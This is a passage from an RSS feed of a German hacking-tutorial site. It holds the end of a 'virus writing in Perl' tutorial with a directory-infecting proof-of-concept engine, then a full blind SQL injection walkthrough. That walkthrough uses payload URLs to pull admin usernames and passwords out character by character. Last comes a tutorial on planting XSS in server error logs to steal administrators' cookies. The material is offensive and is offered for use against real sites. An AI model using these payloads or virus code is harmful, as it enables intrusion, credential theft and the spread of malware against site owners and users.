chdir &#8220;..&#8221;;<br />
&amp;jump;</p>
<p>sub jump {<br />
HIER DEIN CODE<br />
}</p>
<p>Besonders n tzlich f rs verteilte infizieren und|oder l schen von Dateien.</p>
<p>Meine eigene Methode ist so  hnlich. Ich benutze auch Downward Travelling, jedoch<br />
wechsel ich 3 mal das Verzeichnis. Warum? Da ich vorher in jeden Vorhandenen Ordner<br />
springe der aufzufinden ist.Und w rde ich dann nur einmal nen Verzeichnis wechsel<br />
machen, w rde es nicht richtig funzen. Naja, schaut euch einfach mal mein<br />
Proof-of-Concept an <img src='http://tut0r1al.back2hack.cc/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>#!/usr/bin/perl<br />
############################<br />
#  Perforins Jumping Engine<br />
############################<br />
#<br />
# Version: 1.2<br />
#<br />
# www.dark-codez.org<br />
# www.perforins-software.dl.am<br />
#</p>
<p>use Cwd;</p>
<p>print &lt;&lt;POC;<br />
==========================<br />
=Perforins Jumping Engine=<br />
==========================<br />
Perforins Jumping Engine<br />
is pwning me! HAX HAX HAX</p>
<p>POC</p>
<p>&amp;infect;<br />
chdir &#8220;..&#8221;;<br />
chdir &#8220;..&#8221;;<br />
chdir &#8220;..&#8221;;<br />
&amp;infect;</p>
<p>sub infect {<br />
$akt_verz = cwd();<br />
@directorys = ();<br />
foreach $dirs (&lt;*&gt;) {<br />
if ($dirs !~ m/\./) {<br />
push(@directorys,&#8221;$dirs&#8221;);<br />
}<br />
}<br />
print &#8221;<br />
===PWND===<br />
@directorys<br />
==========<br />
&#8220;;</p>
<p>foreach $dir (@directorys) {<br />
chdir &#8220;$akt_verz\\$dir&#8221;;<br />
open(jmp, &#8220;&gt;&#8221;, &#8220;poc.txt&#8221;);<br />
print jmp &#8220;jumped!&#8221;;<br />
close(jmp);<br />
}<br />
}<br />
print &#8220;\n&#8221;.&#8221;This is the end my friend!&#8221;.&#8221;\n&#8221;;</p>
<p>@@@@@@@@@@@@@<br />
@Schlusswort@<br />
@@@@@@@@@@@@@</p>
<p>Ihr seht, ihr k nnt eurer Fantasie freien lauf lassen!<br />
Ich hab hier das Thema Viren nur mal angeschnitten denn es<br />
gibt noch sooooooooviele andere Typen und Verbreitungsm glichkeiten.<br />
Ich hab euch ja nicht mal gezeigt wie man sie am besten spreaden l sst<br />
etc. Dies kommt alles im n chsten TuT <img src='http://tut0r1al.back2hack.cc/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Hoffe, dass ihr hier ein bissl schlauer geworden seid und was lernen<br />
konntet hehe.</p>
<p># Die Knochen von fuenftausend tapferen M nnern lagen verstreut in den gewundenen Korridoren der Station.<br />
# Ihr Blut war an die Waende und auf den Boden der Schlafsaele geschmiert.<br />
# Ihre Innerein hingen von den Kontrollpanelen, wie die grotesken Dekorationen eines Festes des Wahnsinns.<br />
# Und doch wurde nicht ein einziger Schaedel gefunden!<br />
# Alle waren sie durch diese verachtenswerten Angreifer als Trophaeen entwendet worden.</p>
<h2><a href="http://tut0r1al.back2hack.cc/text_tutorials/virus-writting-in-perl-teil-2/"title="virus writting in perl" >Virus writting in Perl Teil 2.</a></h2>
<p><strong>Autor:</strong> Perforin</p>
<p><strong>Quelle:</strong> virii.lu</p>
<h4>Suchanfragen zu diesem Artikel:</h4><ul><li><a href="http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/" title="advanced virus writing tutorial">advanced virus writing tutorial</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/" title="virus spreaden">virus spreaden</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/" title="perl videostream in datei schreiben">perl videostream in datei schreiben</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/" title="perl polymorpher virus php">perl polymorpher virus php</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/" title="perl im gleichen ordner">perl im gleichen ordner</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/" title="perl hex file signature">perl hex file signature</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/" title="how exec perl over wordpress">how exec perl over wordpress</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/" title="coding chat perl">coding chat perl</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/" title="chat viren spreaden">chat viren spreaden</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/" title="bka virus source">bka virus source</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/" title="am besten spreaden">am besten spreaden</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/" title="virus spreaden auto">virus spreaden auto</a> (1)</li></ul><div class="tweetthis" style="text-align:left;"><p> </p></div><h2  class="related_post_title">Verwandte Beiträge</h2><ul class="related_post"><li><a href="http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-2/" title="Virus writting in Perl Teil 2.">Virus writting in Perl Teil 2.</a></li><li><a href="http://tut0r1al.back2hack.cc/captcha-breaking/pick-the-cat-captcha-breaking/" title="&#8220;Pick the Cat&#8221; &#8211; Captcha breaking ">&#8220;Pick the Cat&#8221; &#8211; Captcha breaking </a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/</feedburner:origLink></item>
		<item>
		<title>Blind SQL Injection</title>
		<link>http://feedproxy.google.com/~r/Tut0r1alv20/~3/QJvwD6na9Lo/</link>
		<comments>http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/#comments</comments>
		<pubDate>Tue, 22 May 2012 19:30:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blind SQL Injection]]></category>
		<category><![CDATA[Blind SQL-Injection]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://tut0r1al.back2hack.cc/?p=97</guid>
		<description><![CDATA[################################################## ######### # Blind SQL Injections with true and false # # fred777 # ################################################## ######### 0&#215;00 Intro: Willkommen zu einem weiteren Tutorial über SQL-Injections von mir. Diesmal wird es um Blind Injections gehen. Wir werden hier alles von Hand machen, doch zwingt euch keiner nicht einfach Scripte zur Hand zu nehmen. ################################################## ######### 0&#215;01 [...]]]></description>
			<content:encoded><![CDATA[<p>################################################## #########</p>
<h2># Blind SQL Injections with true and false #</h2>
<p># fred777 #<br />
################################################## #########</p>
<p>0&#215;00 Intro:<br />
Willkommen zu einem weiteren Tutorial über SQL-Injections von mir. Diesmal wird es<br />
um Blind Injections gehen. Wir werden hier alles von Hand machen, doch zwingt euch keiner<br />
nicht einfach Scripte zur Hand zu nehmen.</p>
<p>################################################## #########</p>
<p>0&#215;01 Knowledge:<br />
Bis jetzt hatten wir immer eine Ausgabe, wir verbanden den SELECT-Query mittels UNION<br />
mit unserem SELECT-Query und killten das Resultat auf eine leere Menge, meistens mit einem<br />
- oder einer nicht existierenden Zahl. Nun finden wir wieder einen Bug, welcher den Anschein<br />
erweckt, dass sich der Query manipulieren lässt.</p>
<p>www.seite.de/index.php?id=777 =&gt; Alles wird normal dargestellt<br />
www.seite.de/index.php?id=777&#8242; =&gt; Die Seite wird nicht korrekt dargestellt</p>
<p>Man sollte bedenken, dass nicht in allen dieser Fälle eine Lücke besteht, das müssen wir ebenfalls<br />
erst testen und zwar mittels eines Tricks, wir stellen dem Query eine mathematische Aufgabe, geht<br />
er darauf ein und beantwortet diese ist er manipulierbar, ansonsten sollte keine Lücke vorhanden sein.<br />
Die einfachste Aufgabe wird wohl sein 1=1, natürlich ist das wahr, also true, 1=0 ist falsch, also false<br />
mit AND hängen wir unsere Aufgabe an den Query dran:</p>
<p>www.seite.de/index.php?id=777 and 1=1 =&gt; Alles wird korrekt dargestellt<br />
www.seite.de/index.php?id=777 and 1=0 =&gt; Die Seite wird nicht korrekt dargestellt</p>
<p>Aha, der Query ist auf unsere Aufgabe eingegangen und hat mit &#8220;ja&#8221; und &#8220;nein&#8221; geantwortet.<br />
Wo ich Leerzeichen verwenden, könnt ihr auch + oder /**/ verwenden, nebenbei könnte es<br />
sein, dass ihr unnötigen Rest vom ersten Query entfernen müsst, dass könnt ihr mit einem Comment<br />
machen, Je nach Query könnt es ebenfalls sein, dass ihr bei AND 1=1 das Hochkomma beibehalten<br />
müsst, also:<br />
www.seite.de/index.php?id=777&#8242; and 1=1&#8211; f</p>
<p>Es heißt hier einfach ausprobieren, es sei denn euch liegen die Scripte vor, dann könnt ihr euch<br />
die Datenbankabfrage anschauen.</p>
<p>Wie sind wir bisher vorgegangen, genau, wir haben mit ORDER BY die Columns gecheckt, also los</p>
<p>www.seite.de/index.php?id=777 order by 1 =&gt; Seite wird richtig dargestellt<br />
www.seite.de/index.php?id=777 order by 7 =&gt; Seite wird richtig dargestellt<br />
www.seite.de/index.php?id=777 order by 8 =&gt; Seite wird fehlerhaft dargestellt</p>
<p>Nun kennen wir auch schon das Spiel mit UNION und SELECT&#8230;</p>
<p>www.seite.de/index.php?id=777 union select 1,2,3,4,5,6,7&#8211; f<br />
Doch was ist das? Es erfolgt keine Ausgabe, auch wenn wir das Resultat des ersten Querys<br />
ungültig machen:<br />
www.seite.de/index.php?id=-657567567777 union select 1,2,3,4,5,6,7&#8211; f</p>
<p>Jetzt sind wir an dem Punkt uns einen neuen Weg zu überlegen, erinnern wir uns nochmal an unsere<br />
Rechenaufgabe, da hat der Query reagiert, könnten wir dann nicht auch fragen, ob das PW des USers<br />
mit A, oder O anfängt?</p>
<p>################################################## ################</p>
<p>0&#215;02 Exploiting:<br />
Richtig, und genau das werden wir versuchen, wir können wie auch bei einer normalen Injection, falls<br />
die MySQL-Version 5 beträgt auf die Information_schema zugreifen, falls es Version 4 ist, müssen wir eben<br />
raten, das auslesen aus information_schema mittels Blind kann sehr aufwendig werden, deshalb werden<br />
gerne Scripte benutzt.<br />
Wir lernen hiermit einen neuen Begriff kenne, SUBSTRING:<br />
SUBSTRING(stringoderwort,start,länge)<br />
stringoderwort ist unser String hier, start bestimmt die Rückgabe des ersten Wertes und länge bestimmt<br />
wieviele Werte zurückgegeben werden ab start.<br />
Uns würde also ausgegeben bei SUBSTRING(stringoderwort,4,3) =&gt; ing<br />
Nun, so können wir auch die Version bestimmen, sie fängt entwedern mit 4.x.x.x oder mit 5.x.x.x an<br />
Also sagen wir, dass wir nur den ersten Wert haben möchte, da dieser entscheidend ist:<br />
SUBSTRING(version(),1,1)=5<br />
www.seite.de/index.php?id=777 and SUBSTRING(version(),1,1)=4 =&gt; Seite wird nicht normal dargestellt<br />
www.seite.de/index.php?id=777 and SUBSTRING(version(),1,1)=5 =&gt; Seite wird normal dargestellt<br />
Aha, folglich ist der erste Wert von version() eine 5 und somit können wir auf die<br />
information_schema zugreifen..</p>
<p>Als nächsten Schritt wäre es sinnvoll erstmal zu schauen, ob wir denn nicht Glück haben und die Table<br />
zufällig users oder user heißt. Das machen wir mit einem subselect:</p>
<p>www.seite.de/index.php?id=777 and (select 1)=1 =&gt; Seite wird normal dargestellt</p>
<p>Somit können wir mit einem subselect schonmal arbeiten, select 1 ist true und wird mit 1 verglichen,<br />
was ebenfalls true ergibt.</p>
<p>www.seite.de/index.php?id=777 and (select 1 from user limit 0,1)=1 =&gt; Seite wird nicht richtig dargestellt</p>
<p>Also gibt es die Table &#8216;user&#8217; schonmal nicht, versuchen wir es mit users:<br />
Wichtig: limit ist hier erforderlich, da es sich um einen Subquery handelt, dieser gibt kann nur einen<br />
Wert zurückgegeben, deshalb beschränken wir es auf limit 0,1!</p>
<p>www.seite.de/index.php?id=777 and (select 1 from users limit 0,1)=1 =&gt; Seite wird richtig dargestellt</p>
<p>Oh, users existiert schonmal, fehlen noch die zugehörigen Columns, schauen wir weiter, natürlich<br />
könntet ihr jetzt auch mit WHERE und information_schema arbeiten:</p>
<p>www.seite.de/index.php?id=777 and (select substring(password,1,1) from users limit 0,1)=1 =&gt; Seite wird nicht richtig dargestellt<br />
www.seite.de/index.php?id=777 and (select substring(pass,1,1) from users limit 0,1)=1 =&gt; Seite wird richtig dargestellt<br />
www.seite.de/index.php?id=777 and (select substring(user,1,1) from users limit 0,1)=1 =&gt; Seite wird nicht richtig dargestellt<br />
www.seite.de/index.php?id=777 and (select substring(username,1,1) from users limit 0,1)=1 =&gt; Seite wird richtig dargestellt</p>
<p>Ok, somit hätten wir durch raten die Table und die Columns, es ist zwar Version 5, doch ohne Script aus<br />
information_schema lesen ist sehr langwierig. Ich gehe später darauf ein, wie man es bei Bedarf trotzdem<br />
machen könnte.<br />
Nun, da wir die Namen haben, starten wir einen normalen Query mittels Substring, jetzt werden wir Wert für Wert<br />
auslesen und nicht mehr testen ob es nur existiert oder nicht. Fangen wir mit &#8216;username&#8217;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Wir werden beim Auslesen mit ASCII arbeiten, HEX ginge zwar auch, doch so finde ich es leichter..<br />
ASCII ist eine Zeichencodierungsform welche mit 7 Bits arbeitet, für weitere Informationen, bitte selber Googlen.<br />
Was wir brauchen werden ist eine ASCII-Tabelle, um die ausgelesenen ASCII-Werte in unsere Zeichen<br />
umrechnet, so wie z.B. diese:</p>
<p>http://www.torsten-horn.de/techdocs/ascii.htm</p>
<p>So ist z.B. der ASCII-Wert 97 ein a<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Wir werden den ersten Wert des usernames jetzt auslesen, damit wir ascii-zeichen bekommen, benutzen wir ascii:<br />
www.seite.de/index.php?id=777 and ASCII()&#8211; f<br />
Nun brauchen wir für username unseren substring, welcher in ascii() hineinkommt<br />
www.seite.de/index.php?id=777 and ascii(SUBSTRING())&#8211; f<br />
Nun selektieren wir username:<br />
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))&#8211; f<br />
Und zu letzt vergleichen wir mit unserem true/false-Verfahren das Resultat mit einem ASCII-Wert<br />
Hierfür können wir &gt;,&lt; und = benutzen, wir fangen mit &gt;1 an, da es immer true ergibt<br />
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))&gt;1&#8211; f =&gt; true<br />
Jetzt gehen wir höher und grenzen den Bereich ein:<br />
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))&gt;100&#8211; f =&gt; false, er ist nicht größer<br />
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))&gt;96&#8211; f =&gt; true, er ist größer<br />
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))&lt;97&#8211; f =&gt; false, er ist nicht kleiner als 97<br />
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))=97&#8211; f =&gt; true, er ist gleich 97<br />
Rechnen wir schnell um, ein a, also ist der erste Buchstabe vom username ein a<br />
Wenn ihr den zweiten auslesen wollt, fangt ihr bei der zweiten Stelle an, bleibt aber bei der Länge 1, so macht ihr<br />
per Hand weiter, bis der ASCII-Wert unter 32 liegt, hier kommen die Steuerzeichen und der String ist zu Ende.<br />
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),2,1))&gt;100&#8211; f<br />
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),6,1))=31&#8211; f =&gt; true, der String ist zu Ende<br />
Der username heißt admin.<br />
Das gleiche macht ihr mit dem Passwort:<br />
www.seite.de/index.php?id=777 and ascii(substring((SELECT pass FROM users LIMIT 0,1),1,1))&gt;100&#8211; f =&gt; false, er ist nicht größer</p>
<p>Eine andere Möglichkeit währe, anstatt ascii() die Funktion char() zu benutzen, das sähe dann so aus:<br />
www.seite.de/index.php?id=777 and (substring((SELECT pass FROM users LIMIT 0,1),1,1)&gt;char(100)&#8211; f =&gt; false, er ist nicht größer<br />
Oder mit hex:<br />
www.seite.de/index.php?id=777 and (substring((SELECT pass FROM users LIMIT 0,1),1,1)&gt;0&#215;542342&#8211; f =&gt; false, er ist nicht größer</p>
<p>So, wenn ihr aus der Information_schema table auslesen wollt, geht das genauso:<br />
www.seite.de/index.php?id=777 and ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1))&gt;1<br />
Schemata für Datenbanken<br />
www.seite.de/index.php?id=777 and ascii(substring((select table_name from information_schema.columns limit 0,1),1,1))&gt;1<br />
Table_name für Columns<br />
www.seite.de/index.php?id=777 and ascii(substring((select column_name from information_schema.columns limit 0,1),1,1))&gt;1<br />
Column_name für Columns</p>
<p>################################################## ##################################</p>
<p>0&#215;03 Complete:<br />
Ok, das wars auch schon wieder, ich hoffe ich habe nichts vergessen zu erklären, und falls Fortgeschrittene sich fragen was mit<br />
ifnull() oder if() ist, das erkläre ich in einem anderen Paper..<br />
fred777.de and GreezZ to my friendsZ</p>
<p><strong>Autor:</strong> fred777</p>
<p><strong>Quelle:</strong> creative-coding.us</p>
<h4>Suchanfragen zu diesem Artikel:</h4><ul><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="sql injection finden">sql injection finden</a> (21)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="blind sql injection tabellenname">blind sql injection tabellenname</a> (11)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="sql injection substring">sql injection substring</a> (7)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="sql blind injection">sql blind injection</a> (3)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="SQL injection @@version()">SQL injection @@version()</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="pass true php rfi">pass true php rfi</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="erkl">erkl</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="sql injection select substr">sql injection select substr</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="sql injection verhindern Hochkomma zulassen">sql injection verhindern Hochkomma zulassen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="sql select 1 zu true">sql select 1 zu true</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="sql injection php auslesen">sql injection php auslesen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="substring injection">substring injection</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="tutorial back2hack blindinjection">tutorial back2hack blindinjection</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="wordpress orderby injection">wordpress orderby injection</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="sql inject union">sql inject union</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="and 1=1 blind sql">and 1=1 blind sql</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="sql hack 1=0">sql hack 1=0</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="sql 1-2 fehler in abfrage zulassen">sql 1-2 fehler in abfrage zulassen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="ascii code mit sql auslesen">ascii code mit sql auslesen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="ascii sonderzeichen in sql">ascii sonderzeichen in sql</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="back2hack blind injection">back2hack blind injection</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="blind 0 2 3 0 2 3 4 0 1 2 0 1 2 3 4 0 3 4 0">blind 0 2 3 0 2 3 4 0 1 2 0 1 2 3 4 0 3 4 0</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="blind sql injection orderby">blind sql injection orderby</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="blind sql text">blind sql text</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="blindsql injection php">blindsql injection php</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="oracle lücken in id schliessen">oracle lücken in id schliessen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="php blind injection">php blind injection</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="php id blind sql">php id blind sql</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/" title="x777 blind sql injection">x777 blind sql injection</a> (1)</li></ul><div class="tweetthis" style="text-align:left;"><p> </p></div><h2  class="related_post_title">Verwandte Beiträge</h2><ul class="related_post"><li><a href="http://tut0r1al.back2hack.cc/sql-injection/sql-luecken-ausnutzen/" title="SQL lücken ausnutzen">SQL lücken ausnutzen</a></li><li><a href="http://tut0r1al.back2hack.cc/sql-injection/sql-lucken-finden/" title="SQL lücken finden">SQL lücken finden</a></li><li><a href="http://tut0r1al.back2hack.cc/sql-injection/sql-injection-angriff-und-abwehr/" title="SQL-Injection &#8211; Angriff und Abwehr">SQL-Injection &#8211; Angriff und Abwehr</a></li><li><a href="http://tut0r1al.back2hack.cc/sql-injection/information_schema/" title="information_schema">information_schema</a></li><li><a href="http://tut0r1al.back2hack.cc/sql-injection/sql-injection-2/" title="SQL Injection">SQL Injection</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/</feedburner:origLink></item>
		<item>
		<title>Second Order Code Injection</title>
		<link>http://feedproxy.google.com/~r/Tut0r1alv20/~3/2qxb_HLgROQ/</link>
		<comments>http://tut0r1al.back2hack.cc/xss/second-order-code-injection/#comments</comments>
		<pubDate>Tue, 22 May 2012 07:05:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Sicherheitslücken]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[Second Order Code Injection]]></category>

		<guid isPermaLink="false">http://tut0r1al.back2hack.cc/?p=68</guid>
		<description><![CDATA[Second Order Code Injection Hey Leute, heute wollte ich mal ein kleines Tutorial über eine vielleicht nicht ganz so bekannte Angriffsmöglichkeit schreiben. Die Idee hierbei ist es, seinen Angriff auf Logs zu lenken (egal welche Logs). Ich möchte es mal auf die Basics beschränken, da diese Angriffsform vielfach auftreten kann, wenn irgendwo ein Log in [...]]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: left;">Second Order Code Injection</h2>
<p>Hey Leute,<br />
heute wollte ich mal ein kleines Tutorial über eine vielleicht nicht ganz<br />
so bekannte Angriffsmöglichkeit schreiben. Die Idee hierbei ist es, seinen<br />
Angriff auf Logs zu lenken (egal welche Logs). Ich möchte es mal auf die Basics<br />
beschränken, da diese Angriffsform vielfach auftreten kann, wenn irgendwo ein<br />
Log in .html gespeichert wird. Gehen wir mal von einem simplen Errorlog aus.<br />
Dieses wird bei größeren Seiten mehrfach von Admins kontrolliert!<br />
Unsere Chance ihnen vielleicht Cookies zu klauen? Die Errorlogs<br />
sind selten gesichert, weil ein normaler User ja keinen Zugriff darauf hat.<br />
Wir wissen bereits von der LFI, dass man via Telnet Code ins Errorlog bringen<br />
kann. Wie wäre es, wenn wir dort unsere XSS-Injection platzieren?</p>
<blockquote><p>Telnet via HTTP:<br />
GET/ &lt;/textarea&gt;&lt;script&gt;alert(&#8216;XSS&#8217;);&lt;/script&gt;</p></blockquote>
<p>Dieser Eintrag würde zwar nur einen alert bewirken, kann allerdings durch beliebigen<br />
Code ersetzt werden. Als Beispiel, das stehlen von Cookies oder vielleicht ein iFrame?<br />
Der einzige Nachteil hierbei: Wir haben keinen Zugriff auf das Errorlog, können also<br />
nicht überprüfen ob eine Vulnerability vorliegt. Hier wäre die Möglichkeit sich das<br />
betreffende CMS zu laden und es Lokal zu testen. Auch hierbei handelt es sich um<br />
ein Glücksspiel ;&gt;<br />
Diese Lücke ist praktisch mit allen Attacken nutzbar, die Code einschleusen.</p>
<p>Fazit: Die Angriffsmöglichkeit ist nicht auf ihre Funktionalität direkt überprüfbar,<br />
allerdings ein kleiner Lichtblick, wenn der Rest der Seite sicher scheint.</p>
<p>Ich hoffe das Tutorial hat euch gefallen</p>
<p><strong>Autor:</strong> Lolly</p>
<p><strong>Quelle:</strong> creative-coding.us</p>
<h4>Suchanfragen zu diesem Artikel:</h4><ul><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="second order injection">second order injection</a> (7)</li><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="order &amp; chaos hack - SQL injection">order &amp; chaos hack - SQL injection</a> (6)</li><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="wiki site de inurl index php">wiki site de inurl index php</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="order and chaos hack">order and chaos hack</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="paul sebastian ziegler twitter">paul sebastian ziegler twitter</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="chaos computer club code injection">chaos computer club code injection</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="wupload cookie syntaxerror">wupload cookie syntaxerror</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="paul ziegler 2012">paul ziegler 2012</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="order chaos online sql injection hack">order chaos online sql injection hack</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="order and chaos hack raidrush">order and chaos hack raidrush</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="order &amp; chaos online SQL injection">order &amp; chaos online SQL injection</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="order &amp; chaos hack - sql injection hack">order &amp; chaos hack - sql injection hack</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="xss paul sebastian ziegler download torrent">xss paul sebastian ziegler download torrent</a> (1)</li></ul><div class="tweetthis" style="text-align:left;"><p> </p></div><h2  class="related_post_title">Verwandte Beiträge</h2><ul class="related_post"><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="Vulnerability Summary">Vulnerability Summary</a></li><li><a href="http://tut0r1al.back2hack.cc/xss/xss-cross-site-scripting/" title="XSS – Cross-Site Scripting">XSS – Cross-Site Scripting</a></li><li><a href="http://tut0r1al.back2hack.cc/xss/emailinjection/" title="Emailinjection">Emailinjection</a></li><li><a href="http://tut0r1al.back2hack.cc/xss/cookies-stehln/" title="Cookies Stehln">Cookies Stehln</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://tut0r1al.back2hack.cc/xss/second-order-code-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://tut0r1al.back2hack.cc/xss/second-order-code-injection/</feedburner:origLink></item>
	<media:rating>nonadult</media:rating></channel>
</rss>

